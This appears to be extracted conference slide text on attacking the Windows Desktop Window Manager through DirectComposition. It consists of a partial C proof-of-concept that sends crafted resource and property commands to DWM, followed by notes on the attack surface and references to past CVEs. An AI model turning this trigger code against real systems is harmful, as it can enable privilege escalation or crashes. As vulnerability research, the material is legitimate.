*(DWORD*)((PUCHAR)pMappedAddress1 + 0xC) = FALSE;

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x10, &pOutArg1, &pOutArg2);

// 2. Create CSharedSectionMarshaler Object
*(DWORD*)(pMappedAddress1) = nCmdCreateResource;
*(DWORD*)((PUCHAR)pMappedAddress1 + 4) = 2;
*(DWORD*)((PUCHAR)pMappedAddress1 + 8) = 0xA8;
*(DWORD*)((PUCHAR)pMappedAddress1 + 0xC) = FALSE;

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x10, &pOutArg1, &pOutArg2);

// CSharedSectionMarshaler Create Share Memory Here
HANDLE hSharedSection = 0;
void* sharedMem = 0;
ntStatus = NtDCompositionCreateAndBindSharedSection(hChannel1, 2, 0x1000, &hSharedSection);
sharedMem = MapViewOfFile(hSharedSection, 2, 0, 0, 0x1000);

memset(sharedMem, 0x41, 0x1000);          // value in share memory
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// 3. SetIntegerProperty buffer size
*(DWORD*)(pMappedAddress1) = nCmdSetResourceIntegerProperty;
*(DWORD*)((PUCHAR)pMappedAddress1 + 4) = 1;
*(DWORD*)((PUCHAR)pMappedAddress1 + 8) = 0xD;
*(DWORD*)((PUCHAR)pMappedAddress1 + 0xC) = 0;
*(DWORD*)((PUCHAR)pMappedAddress1 + 0x10) = 0x83; // buffer size

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x18, &pOutArg1, &pOutArg2);

// SetReferenceProperty CSharedSection
*(DWORD*)(pMappedAddress1) = 0xd;
*(DWORD*)((PUCHAR)pMappedAddress1 + 4) = 1;
*(DWORD*)((PUCHAR)pMappedAddress1 + 8) = 11;
*(DWORD*)((PUCHAR)pMappedAddress1 + 0xC) = 2; // CSharedSection handle id

ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel1, 0x10, &pOutArg1, &pOutArg2);

// 4. CommitChannel
ULONGLONG res1 = 0;
ULONGLONG res2 = 0;

ntStatus = NtDCompositionCommitChannel(hChannel1, &res1, &res2, 1, 0);
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• The DWM Process Component still has a large attack surface and is 
still being updated and added new features.

• You can choose to create resources, setting the resource property, and 
finally calls NtDCompositionCommitChannel function to send the 
command to dwm process, or you can call the NtDComposition-
CommitChannel function separately after setting one or more 
properties. 

• At present, it seems that the attack surface is not limited to DWM-
CORE.DLL
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• Win32k Dark Composition - Attacking the Shadow Part of Grap-hic 
Subsystem

• CVE-2019-0685 win32k reference count leak in Direct-Composition

• DirectComposition-Portal

• Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) 
used in the wild

• BUGS ON THE WINDSHIELD: FUZZING THE WINDOWS KERNEL
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